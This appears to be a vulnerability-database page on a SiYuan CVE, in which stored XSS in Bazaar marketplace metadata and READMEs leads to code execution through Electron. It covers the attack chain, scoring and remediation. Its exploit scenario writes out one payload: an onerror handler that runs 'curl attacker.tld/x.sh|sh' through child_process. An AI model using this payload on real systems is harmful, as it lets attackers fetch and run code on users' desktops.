EUVD-2026-38163
GHSA-24r3-p3x6-cqvx
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconPublish malicious package to Bazaar
-
DeliveryEmbed XSS payload in displayName or README
-
ExploitVictim opens Bazaar tab in SiYuan
-
InstallUnsanitized HTML rendered via innerHTML
-
C2JavaScript executes in Electron renderer
-
ExecuteInvoke Node child_process for OS commands
-
ImpactFull desktop compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires (1) the attacker to publish a package to the SiYuan Bazaar marketplace, which has no vetted submission gate, and (2) the victim to open the Bazaar UI in the SiYuan desktop client - for the metadata vector merely listing packages suffices (zero-click within the Bazaar view), while the README vector requires the user to click a specific package. The victim must be using the Electron desktop build (where nodeIntegration:true and contextIsolation:false are configured in app/electron/main.js:422-426); a hypothetical browser-only deployment would still suffer XSS but not OS-level RCE. No authentication on the victim side is required, and no special non-default configuration is needed - the vulnerable behavior is the shipped default of all versions up to and including 3.5.9. |
| Impact | CVSS 4.0 base of 9.4 is justified by the vulnerable system being fully compromised (VC:H/VI:H/VA:H) and the subsequent system (the user's OS) also fully compromised (SC:H/SI:H/SA:H) - appropriate given the Electron nodeIntegration escape. AV:N/AC:L/PR:N reflect that any unauthenticated package author can publish to the Bazaar, and UI:A (passive) correctly captures the metadata vector being triggered simply by browsing the marketplace. EPSS and CISA KEV status are not provided in the input, so prevalence of exploitation cannot be quantified - VulnCheck is the reporter but no in-the-wild activity is claimed. The realistic priority is high for any organization where users browse the Bazaar from desktop installs: the metadata vector is zero-click once a malicious package is listed, and weaponization is trivial (an XSS payload calling require('child_process').exec). Lower-priority for deployments that disable or never use the Bazaar UI. |
| Exploit ScenarioDerived | An attacker publishes a plugin, theme, or template to the SiYuan Bazaar containing an XSS payload in the displayName or description field, for example a string that closes the surrounding tag and inserts <img src=x onerror='require("child_process").exec("curl attacker.tld/x.sh|sh")'>. As soon as any SiYuan user opens the Bazaar tab in their desktop client, the payload renders in the Electron renderer with full Node.js privileges and executes arbitrary OS commands as the desktop user. The README vector is functionally identical but triggers on clicking a package to view details. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package author to compromise users via unsanitized HTML rendering of package displayName, description, and README content. Because the Electron renderer is configured with nodeIntegration:true and contextIsolation:false, injected JavaScript pivots directly to arbitrary OS command execution. No public exploit identified at time of analysis, but VulnCheck published a detailed technical advisory documenting both zero-click (metadata) and one-click (README) vectors.
RemediationAI
Upgrade SiYuan to v3.6.1 or later, which the vendor advisory GHSA-v3mg-9v85-fcm7 identifies as the fixed release containing HTML escaping for Bazaar metadata fields and SetSanitize(true) on the README Lute engine. If immediate upgrade is not possible, the most effective compensating control is to avoid opening the Bazaar marketplace UI entirely until patched, since both vectors require rendering the marketplace listing; advise users not to install, preview, or browse community packages. A stronger architectural mitigation - disabling nodeIntegration and enabling contextIsolation in app/electron/main.js - would prevent OS command execution but requires code changes and may break legitimate plugins that depend on Node APIs, so it is impractical as a temporary workaround. Network-level blocking of the Bazaar CDN (cdn.jsdelivr.net/gh/siyuan-note) prevents listing fetches but also breaks legitimate marketplace functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SiYuan is a self-hosted Electron-based personal knowledge management application with a built-in community marketplace called the Bazaar that distributes plugins, themes, and templates. The flaw is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) with two distinct sinks: (1) in app/src/config/bazaar.ts:275-277, package preferredName and preferredDesc fields are interpolated directly into HTML template literals without escaping, while only the title attribute uses escapeAttr(); (2) in kernel/bazaar/package.go:635-645, renderREADME() invokes lute.New() without calling SetSanitize(true), so raw HTML embedded in package README markdown is preserved by Md2HTML() and assigned via innerHTML on the frontend - inconsistent with the note renderer at kernel/util/lute.go:81 which does sanitize. The impact is amplified because app/electron/main.js:422-426 enables nodeIntegration:true and contextIsolation:false, granting any executed script access to Node.js APIs such as child_process. Affected CPE is cpe:2.3:a:siyuan:siyuan:*:*:*:*:*:*:*:*.
Know when Siyuan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Network-reachable Bazaar listing, no attacker auth, victim must open Bazaar (UI:R); Electron nodeIntegration escapes the renderer sandbox to the host OS, so Scope:Changed with full C/I/A impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.
Executive ViewAI
SiYuan note-taking application versions before 3.6.1 contain a critical remote code execution vulnerability in its Bazaar marketplace package handler, allowing attackers who publish packages to execute arbitrary system commands on user endpoints. Organizations using SiYuan face immediate risk of complete system compromise, data exfiltration, and lateral movement across connected infrastructure.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role
Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a
SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements
Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,
SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr
A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c
SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex
Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro
Reflected XSS in SiYuan knowledge management before 3.5.9.
Exploit-DB